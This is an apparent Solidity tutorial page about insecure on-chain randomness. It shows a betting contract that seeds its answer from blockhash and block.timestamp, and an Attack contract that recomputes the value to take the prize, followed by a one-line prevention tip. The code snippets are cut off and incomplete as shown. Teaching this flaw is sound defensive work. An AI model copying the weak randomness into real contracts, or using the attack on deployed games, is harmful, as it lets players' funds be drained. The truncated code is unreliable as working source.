blockhash and block.timestamp are not reliable sources for randomness.

NOTE: cannot use blockhash in Remix so use ganache-cli

npm i -g ganache-cli
In remix switch environment to Web3 provider

GuessTheRandomNumber is a game where you win 1 Ether if you can guess the
pseudo random number generated from block hash and timestamp.

At first glance, it seems impossible to guess the correct number.
But let's see how easy it is win.

1. Alice deploys GuessTheRandomNumber with 1 Ether
2. Eve deploys Attack
3. Eve calls Attack.attack() and wins 1 Ether

What happened?
Attack computed the correct answer by simply copying the code that computes the random number.

contract GuessTheRandomNumber {
    constructor() payable {}

    function guess(uint _guess) public {
        uint answer = uint(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))

        if (_guess == answer) {
            (bool sent, ) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");

contract Attack {
    receive() external payable {}

    function attack(GuessTheRandomNumber guessTheRandomNumber) public {
        uint answer = uint(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))


    // Helper function to check balance
    function getBalance() public view returns (uint) {
        return address(this).balance;

Preventative Techniques

  • Don't use blockhash and block.timestamp as source of randomness

Try on Remix
